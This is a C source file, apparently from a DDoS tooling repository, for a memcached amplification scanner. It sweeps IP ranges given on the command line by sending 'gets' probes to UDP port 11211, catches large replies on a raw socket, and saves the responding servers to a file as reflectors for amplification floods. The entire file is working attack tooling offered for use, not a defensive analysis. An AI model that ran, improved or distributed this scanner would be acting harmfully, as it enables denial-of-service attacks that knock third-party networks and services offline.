Path: blob/master/DDOS Scripts/AMP Methods/Memcache Amplification/scanner.c
4607 views
/*1* Priv8 Priv8 Priv8 Priv8 Priv8 Priv82*/3#include <pthread.h>4#include <unistd.h>5#include <stdio.h>6#include <stdlib.h>7#include <string.h>8#include <sys/socket.h>9#include <netinet/in.h>10#include <signal.h>11#include <sys/time.h>12#include <sys/types.h>13#include <math.h>14#include <ctype.h>15#include <errno.h>16#include <arpa/inet.h>17#include <netinet/ip.h>18#include <netinet/udp.h>1920volatile int running_threads = 0;21volatile int found_srvs = 0;22volatile unsigned long per_thread = 0;23volatile unsigned long start = 0;24volatile unsigned long scanned = 0;25volatile int sleep_between = 0;26volatile int bytes_sent = 0;27volatile unsigned long hosts_done = 0;28FILE *fd;29char payload[] =30"\0\x01\0\0\0\x01\0\0gets a b c d e f g h j k l m n o p q r s t w v u x y a\r\n";3132size = sizeof(payload);3334void *flood(void *par1)35{36running_threads++;37int thread_id = (int)par1;38unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));39unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));40unsigned long w;41int y;42unsigned char buf[65536];43memset(buf, 0x01, 65);44int sizeofpayload = 65;45int sock;46if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {47printf("[+] MemCached [+] Somenthing are wrong, try again. [+] MemCached [+]\n");48exit(-1);49}50for(w=ntohl(start_ip);w<htonl(end);w++)51{52struct sockaddr_in servaddr;53bzero(&servaddr, sizeof(servaddr));54servaddr.sin_family = AF_INET;55servaddr.sin_addr.s_addr=htonl(w);56servaddr.sin_port=htons(11211);57sendto(sock,payload,size,0, (struct sockaddr *)&servaddr,sizeof(servaddr));58bytes_sent+=size;59scanned++;60hosts_done++;61}62close(sock);63running_threads--;64return;65}6667void sighandler(int sig)68{69fclose(fd);70printf("\n");71exit(0);72}7374void *recievethread()75{76printf("\n");77int saddr_size, data_size, sock_raw;78struct sockaddr_in saddr;79struct in_addr in;8081unsigned char *buffer = (unsigned char *)malloc(65536);82sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);83if(sock_raw < 0)84{85printf("[+] MemCached [+] Somenthing are wrong, try again. [+] MemCached [+]\n");86exit(1);87}88while(1)89{90saddr_size = sizeof saddr;91data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);92if(data_size <0 )93{94printf("[+] MemCached [+] Somenthing are wrong, try again. [+] MemCached [+]\n");95exit(1);96}97struct iphdr *iph = (struct iphdr*)buffer;98if(iph->protocol == 17)99{100unsigned short iphdrlen = iph->ihl*4;101struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);102unsigned char* payload = buffer + iphdrlen + 67;103if(ntohs(udph->source) == 11211)104{105int body_length = data_size - iphdrlen - 67;106107if (body_length > 40)108109{110found_srvs++;111printf("[+] MemCached [+] Found New Server %s.\n", inet_ntoa(saddr.sin_addr));112fprintf(fd,"%s\n",inet_ntoa(saddr.sin_addr));113fflush(fd);114115}116117}118}119120}121close(sock_raw);122123}124125int main(int argc, char *argv[ ])126{127128if(argc < 6){129printf("[+] MemCached Scanner [+]\n");130fprintf(stdout, "[+] Use: %s <class to start (192.168.0.1)> <class to end (198.255.255.255)> <file to save list> <threads (30)> <scan delay in ms (20)>\n", argv[0]);131exit(-1);132}133fd = fopen(argv[3], "a");134sleep_between = atoi(argv[5]);135136signal(SIGINT, &sighandler);137138int threads = atoi(argv[4]);139pthread_t thread;140141pthread_t listenthread;142pthread_create( &listenthread, NULL, &recievethread, NULL);143144char *str_start = malloc(18);145memset(str_start, 0, 18);146str_start = argv[1];147char *str_end = malloc(18);148memset(str_end, 0, 18);149str_end = argv[2];150start = inet_addr(str_start);151per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;152unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));153int i;154for(i = 0;i<threads;i++){155pthread_create( &thread, NULL, &flood, (void *) i);156}157sleep(1);158printf("[+] MemCached [+] Scanning STARTED! Wait a few minutes..\n\n\n\n\n\n");159160char *new;161new = (char *)malloc(16*6);162while (running_threads > 0)163{164fflush(stdout);165bytes_sent=0;166scanned = 0;167sleep(1);168}169printf("\n");170fclose(fd);171return 0;172}173174